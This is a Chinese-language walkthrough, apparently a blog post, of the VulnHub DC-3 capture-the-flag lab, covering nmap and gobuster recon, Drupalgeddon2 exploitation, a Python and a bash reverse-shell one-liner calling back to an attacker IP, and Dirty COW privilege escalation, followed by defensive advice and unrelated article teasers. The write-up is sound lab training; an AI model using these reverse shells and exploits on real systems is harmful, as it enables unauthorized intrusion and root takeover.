DC3靶场渗透实战:从Drupalgeddon2漏洞利用到Linux内核提权

发布时间:2026/9/21 18:01:26

DC3靶场渗透实战:从Drupalgeddon2漏洞利用到Linux内核提权 1. 项目概述一次完整的DC3靶场渗透实战复盘最近在整理渗透测试的学习笔记翻到了之前通关DC3靶场的详细记录。DC3是一个基于Drupal内容管理系统构建的CTF风格靶机在VulnHub上可以下载。它之所以在安全圈子里小有名气不是因为其漏洞多么新颖恰恰相反它完美复现了一个经典且完整的攻击链从Web信息收集、漏洞利用到权限提升和最终目标获取。对于想系统理解渗透测试流程尤其是Drupal相关漏洞利用的朋友来说DC3是一个绝佳的练手环境。这次复盘我会把当时每一步的操作、背后的思考逻辑以及踩过的坑都详细记录下来目标不仅是“通关”更是让你明白“为什么这么做”。靶场的核心目标是获取最终的flag通常位于/root或/home目录下。DC3的路径设计得很典型需要你一步步深入。整个过程会涉及到端口扫描、CMS指纹识别、敏感信息泄露利用、已知漏洞利用如Drupalgeddon2、命令行交互技巧以及Linux内核提权。我会假设你已经有了一些基础比如知道如何使用Nmap、Burp Suite或者基本的Linux命令但即使你是新手跟着步骤走也能理解整个脉络。下面我们就从最开始的“踩点”环节开始。2. 环境准备与信息收集摸清靶场的每一寸土地渗透测试的第一步永远是信息收集盲目攻击就像蒙着眼睛打架。对于DC3这类独立靶机我们首先需要确定它在网络中的位置。2.1 靶场环境搭建与网络定位我是在本地VMware中运行DC3靶机网卡模式设置为NAT攻击机使用的是Kali Linux。第一步是确定靶机的IP地址。最常用的方法是使用netdiscover进行ARP扫描或者查看DHCP租约。更通用的方法是使用Nmap扫描整个网段。sudo netdiscover -r 192.168.1.0/24或者sudo nmap -sn 192.168.1.0/24执行后很快就能发现一个新增的、主机名可能包含“DC-3”或类似字样的IP地址假设我们找到的是192.168.1.105。记住这个IP它就是我们的目标。注意在实际内网渗透中获取IP的手段更多样如ARP扫描、DNS查询、历史流量分析等。但在靶场环境中网段通常是固定的这一步相对简单。2.2 全面端口扫描与服务探测拿到IP后下一步就是进行全面的端口扫描弄清楚靶机上开放了哪些服务这些服务就是潜在的入口点。我习惯使用Nmap进行两次扫描一次快速扫描确定开放端口一次针对性的深度扫描获取服务详情。首先进行全端口扫描nmap -p- -T4 192.168.1.105-p-表示扫描所有65535个端口-T4是较快的扫描速度。扫描结果通常显示只开放了80端口。这暗示着这是一个纯粹的Web靶场攻击面集中在HTTP服务上。接着对开放的80端口进行深度服务版本探测和脚本扫描nmap -sV -sC -p 80 192.168.1.105 -oA dc3_web_scan-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行漏洞探测和增强发现。-oA: 以所有格式普通、XML、可读输出结果。扫描报告显示80端口运行着Apache httpd服务器。这里没有直接给出CMS信息需要我们通过Web访问进一步识别。2.3 Web应用指纹识别与目录枚举打开浏览器访问http://192.168.1.105。页面加载后我们看到了一个博客网站。通过浏览页面源代码、查看HTTP响应头可以寻找CMS的蛛丝马迹。一个非常明显的线索是在页面底部或/robots.txt、/README.txt等文件中常常会留下Drupal的标识。使用浏览器开发者工具F12查看“网络”选项卡观察加载的静态资源路径。Drupal通常有特定的文件路径如/core/、/modules/、/themes/等。更直接的方法是使用工具进行指纹识别。我使用了whatwebwhatweb http://192.168.1.105输出结果清晰地显示了“Drupal”以及可能的版本范围信息。确认是Drupal CMS后我们需要进行目录爆破寻找隐藏的路径、后台登录入口、配置文件等。这里我使用了gobustergobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 50dir: 指定目录爆破模式。-u: 目标URL。-w: 使用的字典文件这里用了dirb的通用字典。-x: 尝试这些扩展名。-t: 线程数。扫描结果中除了常见的Drupal目录如/core/,/modules/要特别关注以下几个/admin/或/user/: Drupal后台登录入口。/CHANGELOG.txt: 可能包含确切的版本号。/sites/default/: 可能包含配置文件settings.php但通常不可直接访问。/robots.txt: 可能暴露敏感路径。访问/CHANGELOG.txt我们很可能看到类似“Drupal 7.x”的版本信息。假设我们确定版本是Drupal 7。至此信息收集阶段告一段落。我们知道了目标是一个运行着Drupal 7的Apache服务器只有Web入口。下一步就是寻找这个特定版本的漏洞。3. 漏洞挖掘与利用突破Drupal的防线针对Drupal 7有一个闻名遐迩的远程代码执行漏洞——Drupalgeddon 2CVE-2018-7600。这个漏洞允许攻击者在未授权的情况下执行任意代码危害极大。DC3靶场正是为了练习这个漏洞的利用而设计的。3.1 漏洞原理浅析与工具选择Drupalgeddon 2的根源在于Drupal 7和8的注册表单处理逻辑存在缺陷。攻击者可以通过精心构造的请求在Drupal执行某些操作如安装后注册时将恶意参数注入到执行流程中最终导致任意代码执行。理解原理有助于我们手动构造Payload但实战中更多使用成熟的利用工具。有几个选择Metasploit (MSF) 有现成的模块exploit/unix/webapp/drupal_drupalgeddon2自动化程度高适合快速验证。独立Python脚本 网上有很多公开的PoC脚本更轻量可定制化程度高。手动利用 通过Burp Suite手动构造请求对理解漏洞细节最有帮助。为了教学和理解的透彻性我选择先演示手动利用的思路再介绍自动化工具。无论哪种方式我们都需要一个能够接收我们命令执行结果的“监听器”。3.2 建立监听与手动漏洞探测首先我们在攻击机Kali上开启一个Netcat监听器用于接收靶机执行命令后反弹回来的shell。nc -lvnp 4444-l: 监听模式。-v: 详细输出。-n: 不解析域名。-p 4444: 指定监听端口。接下来我们尝试手动触发漏洞。利用Drupalgeddon 2的PoC其核心是向Drupal的特定端点如/user/register、/发送一个包含恶意参数的POST请求。一个经典的测试Payload是执行id命令并将结果通过HTTP请求发送到我们的攻击机。我们可以使用curl命令或者更直观地用Burp Suite。这里用curl示例 我们需要构造一个请求让靶机执行id命令并将结果通过curl或wget发送到我们控制的一个HTTP服务器。但更直接的方式是利用漏洞直接反弹shell。实际上手动构造一个稳定反弹shell的Payload比较复杂涉及到编码和绕过。因此更高效的方法是使用现成的脚本。我找到了一个名为drupalgeddon2.py的Python脚本。使用前需要确保Python环境并安装requests库。python3 drupalgeddon2.py -h查看帮助通常用法是python3 drupalgeddon2.py -t http://192.168.1.105 -c ‘id‘如果漏洞存在执行-c参数后的命令会返回结果。看到uid33(www-data) gid33(www-data)...之类的输出就证明漏洞利用成功我们可以在目标上以www-data用户权限执行命令了。3.3 获取交互式Shell命令执行成功了但这是一个非交互式的shell功能受限无法使用su、sudo、文本编辑器等。我们需要升级到一个完全交互式的TTY shell。首先我们利用漏洞执行一个命令将反向shell的Payload送到靶机上。常用的方法是使用python、php、bash或netcat来反弹。假设靶机上有python我们可以执行python3 drupalgeddon2.py -t http://192.168.1.105 -c ‘python3 -c “import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\“192.168.1.102\“,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\“/bin/sh\“, \“-i\“]);”‘这条命令很长其核心是让靶机上的Python连接到我们攻击机的4444端口并将标准输入、输出、错误流都重定向到这个连接然后启动一个/bin/sh。执行前请确保你的攻击机IP这里是192.168.1.102和监听端口4444正确。执行上述利用命令后如果一切顺利我们之前开启的Netcat监听器就会接收到一个shell。但是这个shell可能仍然不够“友好”。我们需要进一步优化它# 在获得的shell中依次执行 python3 -c ‘import pty; pty.spawn(“/bin/bash”)‘ # 或者 script -qc /bin/bash /dev/null # 然后按 CtrlZ 挂起当前进程 stty raw -echo; fg # 最后设置终端类型 export TERMxterm完成这些操作后你就获得了一个功能相对完整的交互式shell可以方便地使用Tab补全、方向键查看历史命令等。实操心得 在实际利用中可能会遇到目标环境没有python、netcat的情况。因此掌握多种反弹shell的方法至关重要。比如用bashbash -i /dev/tcp/192.168.1.102/4444 01或者用php、perl等。多准备几种Payload总能派上用场。另外使用rlwrap nc -lvnp 4444来启动监听器可以直接获得一个支持历史命令和行编辑的shell体验更好。4. 权限提升从www-data到root拿到www-data的shell只是万里长征第一步。在CTF和真实渗透中最终的flag往往在root用户目录下。因此我们需要进行权限提升Privilege Escalation。4.1 内部信息收集在提权之前必须对目标系统进行深入的了解。我通常会运行一个系统的信息收集脚本比如linpeas.sh它能自动化地检查各种提权向量。但在手动过程中以下命令是必查的# 查看当前用户和权限 id whoami sudo -l # 如果当前用户有sudo权限这是最直接的提权方式 # 查看系统信息 uname -a # 查看内核版本寻找内核漏洞 cat /etc/os-release # 查看发行版信息 hostname # 查找敏感文件 find / -type f -name “*.txt” -o -name “*.conf” -o -name “*.php” -o -name “*.bak” 2/dev/null | head -30 find / -perm -4000 2/dev/null # 查找SUID文件 find / -writable 2/dev/null | head -20 # 查找全局可写文件/目录 find / -type f -user root -perm -2000 2/dev/null # 查找SGID文件 # 查看进程和服务 ps aux netstat -tulpn systemctl list-units --typeservice在DC3靶场中运行sudo -l可能会发现www-data用户并不能使用sudo。uname -a查看内核版本假设显示的是类似Linux dc-3 4.4.0-21-generic的信息。这是一个相对较早的内核版本可能存在公开的提权漏洞。4.2 内核漏洞提权实践搜索“Linux kernel 4.4.0-21 exploit”很容易找到一个著名的本地提权漏洞Dirty COWCVE-2016-5195。这是一个竞争条件漏洞允许低权限用户写入只读内存页从而修改SUID文件如/bin/passwd来获得root权限。提权步骤通常如下上传漏洞利用代码 我们需要将Dirty COW的利用程序通常是一个C文件上传到靶机上。可以在攻击机上编译好静态链接的二进制文件直接上传也可以在靶机上编译如果靶机有gcc。在攻击机Kali上先下载或编写一个可靠的Dirty COW利用代码例如dirty.c。然后编译成静态二进制文件避免靶机缺少库文件gcc -pthread dirty.c -o dirty -lcrypt将利用程序传输到靶机 在靶机的shell中找一个可写目录比如/tmp或/dev/shm。然后在攻击机开启一个简单的HTTP服务python3 -m http.server 8080在靶机shell中使用wget或curl下载文件wget http://192.168.1.102:8080/dirty chmod x dirty执行提权利用 运行编译好的利用程序。./dirty根据不同的利用脚本成功后可能会创建一个具有root权限的新用户如firefart或者直接获得一个root shell。按照程序的提示操作即可。例如运行后输入一个新密码然后使用su firefart切换用户此时id命令会显示uid0(root)。获取最终Flag 提权到root后就可以畅游系统了。Flag通常放在/root目录下命名为flag.txt、proof.txt或root.txt。cd /root ls -la cat flag.txt屏幕上输出的那串字符就是本次渗透测试的最终战利品。注意事项 内核漏洞提权有风险不当的利用程序可能导致系统崩溃在靶场中无所谓在生产环境中需极其谨慎。务必使用经过验证的、可靠的利用代码。此外不是所有旧内核都一定可用Dirty COW如果不行需要根据具体的内核版本号去搜索对应的提权漏洞如CVE-2017-6074, CVE-2017-16995等。5. 总结与问题排查实录回顾整个DC3靶场的通关过程它清晰地展示了一个标准的渗透测试流程信息收集 - 漏洞利用 - 获取立足点 - 权限提升 - 达成目标。每个环节都环环相扣。5.1 常见问题与解决方案在实际操作中你可能会遇到以下问题问题描述可能原因解决方案Nmap扫描不到靶机IP靶机和攻击机不在同一网段检查虚拟机网络设置同为NAT或桥接使用ip addr或ifconfig确认双方IP在同一子网。访问靶机Web页面无响应靶机服务未启动或防火墙检查靶机是否已正常开机在靶机控制台尝试service apache2 status查看服务状态。Drupalgeddon2漏洞利用失败目标Drupal版本已打补丁或利用脚本问题确认Drupal版本是否为受影响的7.x或8.x。尝试使用不同来源的利用脚本如Metasploit。检查Payload是否因特殊字符被截断尝试编码。反弹Shell不成功防火墙阻止出站连接或Payload语法错误尝试更换反弹端口如53, 443, 8080。检查监听器是否正确开启。使用bash -i或php等多种Payload尝试。确保IP和端口号正确无误。上传的提权利用程序无法执行缺少执行权限或库文件chmod x添加执行权限。如果是动态编译尝试在靶机上安装gcc重新编译或使用静态编译版本。Dirty COW利用后未提权成功内核已修补或利用程序不兼容使用uname -r精确核对内核版本搜索针对该特定版本的提权漏洞。尝试其他提权方法如利用SUID文件、sudo配置错误、计划任务等。5.2 拓展思考与防御建议通过DC3我们不仅练习了攻击更应该思考防御。针对这个攻击链及时更新 Drupalgeddon 2漏洞在2018年已有补丁。保持CMS和所有插件、主题的更新是防御已知漏洞最有效的手段。最小权限原则 Web服务运行用户如www-data应被严格限制权限避免其拥有执行敏感命令或写入系统关键文件的能力。输入过滤与消毒 对所有用户输入进行严格的验证和过滤防止命令注入、SQL注入等攻击。定期安全审计 对服务器进行定期的漏洞扫描和渗透测试检查是否存在错误配置、弱密码、不必要的服务等。内核安全 及时更新操作系统内核关闭不必要的内核模块使用安全增强工具如SELinux, AppArmor来限制进程行为。通关DC3只是一个开始。真正的技能提升在于举一反三。你可以尝试用不同的方法达到同一目的比如不用自动化脚本而完全手动利用Drupalgeddon2或者尝试其他提权路径比如在靶机上寻找密码文件、数据库凭证尝试横向移动等。靶场提供的是一张静态地图而你的思维和技巧才是探索未知领域的罗盘。
延伸阅读

更多相关文章

2026/9/19 23:44:21

2026年8月西安企业GEO推广专业干货、技术落地、偏运营教程

GEO生成式引擎优化不同于传统SEO,核心逻辑是适配大模型采信规则、搭建可信信源体系、实现品牌结构化识别。很多西安企业做GEO没效果,核心原因是选错服务商、落地流程不规范、不懂AI算法底层逻辑。本文从技术实操角度,详解GEO服务商筛选标准与…

2026/9/19 1:00:42

板材残余应力从哪来搞清楚来源才能对症校平

校平机矫不平板材,很多时候不是参数没调对,而是没搞清楚板材残余应力从哪来。不同来源的残余应力,分布规律不一样,校平策略也应该不一样。用同一套参数去矫不同应力来源的板材,效果自然参差不齐。今天就来讲讲板材残余…

2026/9/19 23:44:27

适合线下销售团队的智能工牌品牌有哪些?

企业为线下销售团队选智能工牌,容易把注意力集中在续航、重量、通信方式等硬件参数上,却忽略采集稳定性、AI分析深度、行业验证规模与持续交付服务。真正能改善销售管理的产品,应将客户沟通转化为可检索、可分析、可复盘的数据,让…

2026/9/22 5:00:07

3步搞定wow酸雨性能优化 新人避坑指南

3步搞定wow酸雨性能优化 新人避坑指南 官方文档堆成山,翻半天还没找到重点?别急,咱们直接看代码。做性能优化,光看理论没用,得动手跑起来。今天聊的【wow酸雨】项目,就是专门解决这个痛点的实战案例。 项目目标与背景…

2026/9/22 5:00:07

3个坑解决机动车摇号查询代码报错,面试必问实战

3个坑解决机动车摇号查询代码报错,面试必问实战 刚把网上抄的机动车摇号查询脚本跑起来?别急着高兴。大概率你下一秒就会看到满屏的红色报错,或者程序卡在那儿半天没反应。那种“我明明复制对了啊,为什么还是崩了”的绝望感,经历过的人都知道有多抓狂。…

2026/9/22 5:00:07

WinImage实战速查手册:3个坑帮你搞定版本升级API

WinImage实战速查手册:3个坑帮你搞定版本升级API WinImage从2.x升级到3.x后,原本能跑的代码突然全线报错?我上周接手一个旧项目,打开源码一看,发现所有调用 LoadImage() 的地方全炸了,日志里全是…

2026/9/22 5:00:07

3个步骤搞定用户体验中心性能瓶颈图解原理实战

3个步骤搞定用户体验中心性能瓶颈图解原理实战 打开官方文档,第一页就是密密麻麻的架构图和配置项,想找个具体的优化参数,眼睛都花了。这种“官方文档太长抓不住重点”的困境,几乎每个后端开发都经历过。其实,性能优化不是玄学,关键在于看懂底层逻辑。…

2026/9/22 4:55:06

澳洲航空电话系统源码解析 5个实战技巧

澳洲航空电话系统源码解析 5个实战技巧 看了一堆教程还是不会写项目?别怪自己笨,是方法错了。真正的本事,藏在源码解析里。 很多初学者卡在“懂了代码”到“写出项目”这一步。视频看完,笔记记满,一上手就懵。这不是能力问题,是缺乏对底层逻辑的拆解…

2026/9/21 3:28:31

GAMP 5 基于风险的计算机化系统验证:软件分类与审计追踪实践

简介:《A Risk-Based Approach to Compliant GxP Computerized Systems》即业内熟知的GAMP 5指南,面向制药企业质量与IT合规人员、验证工程师及计算机化系统管理者,用于解决GxP法规环境下系统合规性难以科学落地的问题。文档以风险管理为主线…

2026/9/21 3:33:19

安全托管MSSP实战:从静态防御到人机协同的攻防运营与应急响应

简介:这份PPT围绕互联网业务安全托管服务展开,面向企业安全负责人、IT运维人员及关注MSSP/MSS选型的读者,重点回应传统安全过度依赖人工、碎片化静态防御难以对抗产业化攻击等痛点。资源共1个pptx文件,包体约30.63MB,以…

2026/9/22 0:04:49

输电线路在线监测高频面试题拆解 3秒抓住官方文档重点

输电线路在线监测高频面试题拆解 3秒抓住官方文档重点 官方文档几百页翻到头还是懵?面试问到 输电线路在线监测 的数据链路时,脑子一片空白?别慌,这种 高频面试题 我整理了10年,专门治各种“文档太长抓不住重点”的毛病。…

2026/9/22 0:04:49

中介房源管理系统重构避坑:3个关键步骤搞定API变更

中介房源管理系统重构避坑:3个关键步骤搞定API变更 版本升级后 API 全变了,这种痛只有真做过的人懂。 很多团队在接手老旧房产项目时,最崩溃的不是代码烂,而是底层框架升级后,原本熟悉的接口调用方式彻底失效。 这份 保姆级教程…

2026/9/22 0:04:49

3个坑点带你一文搞懂55gg小游戏源码

3个坑点带你一文搞懂55gg小游戏源码 盯着控制台满屏的红色报错,看着那一长串 StackTrace ,是不是脑子瞬间宕机?别急,这种时候最忌讳的就是盲目改代码。很多刚入行的前端同学,面对 55gg 小游戏这类轻量级 H5…

2026/9/20 4:54:47

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/21 18:32:12

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/21 10:29:02

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码